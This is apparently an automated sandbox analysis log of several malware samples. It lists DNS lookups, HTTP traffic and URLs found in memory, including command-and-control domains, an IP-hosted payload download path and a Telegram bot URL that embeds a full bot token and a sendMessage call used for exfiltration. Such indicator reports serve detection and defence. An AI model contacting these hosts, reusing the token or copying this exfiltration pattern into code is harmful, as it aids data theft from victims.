Source: global traffic DNS traffic detected: DNS query: pancakedipyps.click
Source: global traffic DNS traffic detected: DNS query: cheapptaxysu.click
Source: global traffic DNS traffic detected: DNS query: drive.google.com
Source: global traffic DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic DNS traffic detected: DNS query: ipinfo.io
Source: global traffic DNS traffic detected: DNS query: api.telegram.org
Source: global traffic DNS traffic detected: DNS query: httpbin.org
Source: global traffic DNS traffic detected: DNS query: home.fivetk5sb.top
Source: global traffic DNS traffic detected: DNS query: fivetk5sb.top
Source: global traffic DNS traffic detected: DNS query: www.google.com
Source: global traffic DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic DNS traffic detected: DNS query: discokeyus.lat
Source: global traffic DNS traffic detected: DNS query: fieldhitty.click
Source: unknown HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: pancakedipyps.click
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 22 Dec 2024 01:16:36 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vlDZeF9DSsj%2Fah99ZkjP8hZIUWe5uI49e4RkUM5kg%2BD2%2Fhbyj2xSFtBXOyVLqtRH%2BlxjFeJe91Urc6S0cUS%2Fis30X9e8l1t6U%2FzeUl4z9RJDyZJ4CnR6TpNjJB%2FizkzD7gTGMX0%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f5c4474fce34328-EWR
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 22 Dec 2024 01:18:54 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6SSQSxv7PYjbu6zdvJ61%2FOvdzgJVvlHWxFLuiiY6PRfx2TI4q0Ktga0pdm1WdZgB%2BdVlBJbih4%2BYSeVsQ8B9h8KuG4vRFJqXTkwx4BtA3uPP%2FemmxuUhyVnLCO%2B8avts6eD46%2Bc%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f5c47d80cdb4385-EWR
Source: b6638733e4.exe, 00000013.00000003.2869803204.00000000075CF000.00000004.00001000.00020000.00000000.sdmp, b05c9e01f3.exe, 00000016.00000003.3009363267.0000000007330000.00000004.00001000.00020000.00000000.sdmp, b05c9e01f3.exe, 00000016.00000002.3059346963.0000000000E61000.00000040.00000001.01000000.00000012.sdmp String found in binary or memory: http://.css
Source: b6638733e4.exe, 00000013.00000003.2869803204.00000000075CF000.00000004.00001000.00020000.00000000.sdmp, b05c9e01f3.exe, 00000016.00000003.3009363267.0000000007330000.00000004.00001000.00020000.00000000.sdmp, b05c9e01f3.exe, 00000016.00000002.3059346963.0000000000E61000.00000040.00000001.01000000.00000012.sdmp String found in binary or memory: http://.jpg
Source: c9d0f96e57.exe, 0000001F.00000003.3795841933.000000000595C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.156.73.23/files/download
Source: c9d0f96e57.exe, 0000001F.00000003.3768476028.000000000595C000.00000004.00000020.00020000.00000000.sdmp, c9d0f96e57.exe, 0000001F.00000003.3795841933.000000000595C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.156.73.23/files/downloadGF
Source: c9d0f96e57.exe, 0000001F.00000003.3680983757.000000000595C000.00000004.00000020.00020000.00000000.sdmp, c9d0f96e57.exe, 0000001F.00000003.3736647835.000000000595C000.00000004.00000020.00020000.00000000.sdmp, c9d0f96e57.exe, 0000001F.00000003.3711012668.000000000595C000.00000004.00000020.00020000.00000000.sdmp, c9d0f96e57.exe, 0000001F.00000003.3655522323.000000000595C000.00000004.00000020.00020000.00000000.sdmp, c9d0f96e57.exe, 0000001F.00000003.3768476028.000000000595C000.00000004.00000020.00020000.00000000.sdmp, c9d0f96e57.exe, 0000001F.00000003.3795841933.000000000595C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.156.73.23/files/downloadKFo
Source: c9d0f96e57.exe, 0000001F.00000003.3736647835.000000000595C000.00000004.00000020.00020000.00000000.sdmp, c9d0f96e57.exe, 0000001F.00000003.3711012668.000000000595C000.00000004.00000020.00020000.00000000.sdmp, c9d0f96e57.exe, 0000001F.00000003.3768476028.000000000595C000.00000004.00000020.00020000.00000000.sdmp, c9d0f96e57.exe, 0000001F.00000003.3795841933.000000000595C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.156.73.23/files/downloaduFi
Source: cd2469328d.exe, 0000000B.00000003.2661316073.0000000003564000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2741109099.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3648198395.00000000060FC000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3752667484.00000000054DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: cd2469328d.exe, 0000000B.00000003.2661316073.0000000003564000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2741109099.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3648198395.00000000060FC000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3752667484.00000000054DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: cd2469328d.exe, 00000008.00000002.2549517738.00000000013B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: cd2469328d.exe, 0000000B.00000003.2661316073.0000000003564000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2741109099.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3648198395.00000000060FC000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3752667484.00000000054DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: cd2469328d.exe, 00000008.00000002.2549517738.00000000013B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: cd2469328d.exe, 00000008.00000002.2549517738.00000000013B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: cd2469328d.exe, 00000008.00000002.2549517738.00000000013B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: cd2469328d.exe, 00000008.00000002.2549517738.00000000013B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: cd2469328d.exe, 0000000B.00000003.2661316073.0000000003564000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2741109099.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3648198395.00000000060FC000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3752667484.00000000054DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: cd2469328d.exe, 0000000B.00000003.2661316073.0000000003564000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2741109099.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3648198395.00000000060FC000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3752667484.00000000054DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: cd2469328d.exe, 0000000B.00000003.2661316073.0000000003564000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2741109099.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3648198395.00000000060FC000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3752667484.00000000054DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: cd2469328d.exe, 0000000B.00000003.2661316073.0000000003564000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2741109099.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3648198395.00000000060FC000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3752667484.00000000054DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: cd2469328d.exe, 00000008.00000002.2549517738.00000000013B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: cd2469328d.exe, 00000008.00000002.2549517738.00000000013B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: cd2469328d.exe, 00000008.00000002.2549517738.00000000013B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: cd2469328d.exe, 00000008.00000002.2549517738.00000000013B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: b6638733e4.exe, 00000013.00000003.2869803204.00000000075CF000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://home.fivetk5sb.top/niCGMfnfOxUBXxpLhBBB17
Source: b05c9e01f3.exe, 00000016.00000002.3059346963.0000000000E61000.00000040.00000001.01000000.00000012.sdmp String found in binary or memory: http://home.twentytk20ht.top/TQIuuaqjNpwYjtUvFoj850
Source: b05c9e01f3.exe, 00000016.00000002.3059346963.0000000000E61000.00000040.00000001.01000000.00000012.sdmp String found in binary or memory: http://home.twentytk20ht.top/TQIuuaqjNpwYjtUvFojm1734579850
Source: b05c9e01f3.exe, 00000016.00000002.3059346963.0000000000E61000.00000040.00000001.01000000.00000012.sdmp String found in binary or memory: http://home.twentytk20ht.top/TQIuuaqjNpwYjtUvFojm1734579850http://home.twentytk20ht.top/TQIuuaqjNpwY
Source: b6638733e4.exe, 00000013.00000003.2869803204.00000000075CF000.00000004.00001000.00020000.00000000.sdmp, b05c9e01f3.exe, 00000016.00000003.3009363267.0000000007330000.00000004.00001000.00020000.00000000.sdmp, b05c9e01f3.exe, 00000016.00000002.3059346963.0000000000E61000.00000040.00000001.01000000.00000012.sdmp String found in binary or memory: http://html4/loose.dtd
Source: cd2469328d.exe, 00000008.00000002.2549517738.00000000013B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: cd2469328d.exe, 0000000B.00000003.2661316073.0000000003564000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2741109099.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3648198395.00000000060FC000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3752667484.00000000054DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0
Source: cd2469328d.exe, 0000000B.00000003.2661316073.0000000003564000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2741109099.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3648198395.00000000060FC000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3752667484.00000000054DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: cd2469328d.exe, 00000008.00000002.2549517738.00000000013B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.sectigo.com0
Source: fed209a298.exe, 00000018.00000000.3107118176.0000000000423000.00000002.00000001.01000000.00000013.sdmp String found in binary or memory: http://usbtor.ru/viewtopic.php?t=798)Z
Source: cd2469328d.exe, 0000000B.00000003.2661316073.0000000003564000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2741109099.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3648198395.00000000060FC000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3752667484.00000000054DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.c.lencr.org/0
Source: cd2469328d.exe, 0000000B.00000003.2661316073.0000000003564000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2741109099.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3648198395.00000000060FC000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3752667484.00000000054DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.i.lencr.org/0
Source: cd2469328d.exe, 0000000B.00000003.2611942159.000000000357C000.00000004.00000800.00020000.00000000.sdmp, cd2469328d.exe, 0000000B.00000003.2613062845.000000000357A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2691063624.0000000005E7D000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2691395033.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3531502589.000000000610B000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3528793955.000000000610E000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3531742688.000000000610B000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3626433817.00000000054F9000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3626713720.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3627288446.00000000054F7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: cc6f25572f.exe, 00000011.00000003.2765724677.000001D6698FC000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2766911611.000001D6698FC000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2765856821.000001D6698FC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com
Source: cc6f25572f.exe, 00000010.00000002.2886690972.000002B0C3880000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2917808778.000001D669972000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000002.2919515707.000001D669972000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000002.2919171490.000001D66990D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/
Source: cc6f25572f.exe, 00000011.00000000.2740743202.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp String found in binary or memory: https://api.telegram.org/bot
Source: cc6f25572f.exe, 00000010.00000002.2885993899.000002B0C1AF8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot7855878545:AAEEMUvgpX9jTAxlDd2gM_Sbv2jbI6-5_0o
Source: cc6f25572f.exe, 00000011.00000002.2919515707.000001D669972000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot7855878545:AAEEMUvgpX9jTAxlDd2gM_Sbv2jbI6-5_0o/sendMessage?chat_id=74270
Source: cc6f25572f.exe, 00000010.00000002.2888013323.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp, cc6f25572f.exe, 00000010.00000000.2731872890.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp, cc6f25572f.exe, 00000011.00000002.2972181574.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp, cc6f25572f.exe, 00000011.00000000.2740743202.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp String found in binary or memory: https://api.telegram.org/botFailed
Source: cc6f25572f.exe, 00000010.00000002.2886690972.000002B0C3880000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/f)i
Source: cc6f25572f.exe, 00000010.00000002.2886690972.000002B0C3880000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/n)a
Source: cc6f25572f.exe, 00000011.00000002.2919171490.000001D66990D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/ogle
Source: cd2469328d.exe, 0000000B.00000003.2663747077.0000000003531000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3652093995.00000000060CB000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3796121165.00000000055AB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 5cda6c90d7.exe, 0000000C.00000003.2766963059.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2800855972.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2838754343.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2802169090.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2795190281.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2815002242.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2767444886.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&k
Source: cd2469328d.exe, 0000000B.00000002.2793903700.0000000003530000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3652093995.00000000060CB000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3796121165.00000000055AB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: cd2469328d.exe, 0000000B.00000003.2611942159.000000000357C000.00000004.00000800.00020000.00000000.sdmp, cd2469328d.exe, 0000000B.00000003.2613062845.000000000357A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2691063624.0000000005E7D000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2691395033.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3531502589.000000000610B000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3528793955.000000000610E000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3531742688.000000000610B000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3626433817.00000000054F9000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3626713720.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3627288446.00000000054F7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: cd2469328d.exe, 0000000B.00000003.2611942159.000000000357C000.00000004.00000800.00020000.00000000.sdmp, cd2469328d.exe, 0000000B.00000003.2613062845.000000000357A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2691063624.0000000005E7D000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2691395033.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3531502589.000000000610B000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3528793955.000000000610E000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3531742688.000000000610B000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3626433817.00000000054F9000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3626713720.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3627288446.00000000054F7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: cd2469328d.exe, 0000000B.00000003.2611942159.000000000357C000.00000004.00000800.00020000.00000000.sdmp, cd2469328d.exe, 0000000B.00000003.2613062845.000000000357A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2691063624.0000000005E7D000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2691395033.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3531502589.000000000610B000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3528793955.000000000610E000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3531742688.000000000610B000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3626433817.00000000054F9000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3626713720.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3627288446.00000000054F7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 5cda6c90d7.exe, 0000000C.00000003.2795190281.0000000005E41000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2800638240.000000000181A000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000002.2870509764.0000000001789000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2838471636.000000000181D000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2659546736.00000000017DA000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2766424937.0000000005E47000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2859043534.000000000181D000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2659069201.00000000017BB000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2860709107.000000000181D000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2815170543.000000000181B000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000002.2872169437.000000000181D000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2767444886.0000000005E46000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2801888516.000000000181D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cheapptaxysu.click/
Source: 5cda6c90d7.exe, 0000000C.00000003.2800638240.000000000181A000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2838471636.000000000181D000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2815170543.000000000181B000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2801888516.000000000181D000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2774023966.000000000181A000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2773670606.0000000001810000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cheapptaxysu.click/%
Source: 5cda6c90d7.exe, 0000000C.00000003.2659442912.00000000017A3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cheapptaxysu.click/33
Source: 5cda6c90d7.exe, 0000000C.00000003.2838471636.000000000181D000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2815170543.000000000181B000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2801888516.000000000181D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cheapptaxysu.click/E
Source: 5cda6c90d7.exe, 0000000C.00000002.2870509764.00000000017B9000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2814852148.000000000182D000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2838471636.000000000181D000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2860832487.00000000017D2000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2659546736.00000000017DA000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2859043534.000000000181D000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2659069201.00000000017BB000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2860709107.000000000181D000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2815170543.000000000181B000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2838873029.00000000017D2000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000002.2872096119.00000000017D4000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000002.2872169437.000000000181D000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2801888516.000000000181D000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2774023966.000000000181A000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2815170543.000000000182D000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2838471636.000000000182D000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2773670606.0000000001810000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cheapptaxysu.click/api
Source: 5cda6c90d7.exe, 0000000C.00000003.2659069201.00000000017BB000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2773819917.00000000017B9000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2635795252.00000000017BB000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2773960939.00000000017BB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cheapptaxysu.click/api8
Source: 5cda6c90d7.exe, 0000000C.00000003.2659546736.00000000017DA000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2659069201.00000000017BB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cheapptaxysu.click/apiu
Source: 5cda6c90d7.exe, 0000000C.00000003.2659546736.00000000017DA000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2659069201.00000000017BB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cheapptaxysu.click/apiw
Source: 5cda6c90d7.exe, 0000000C.00000003.2860832487.00000000017D2000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000002.2872096119.00000000017D4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cheapptaxysu.click/apiz2
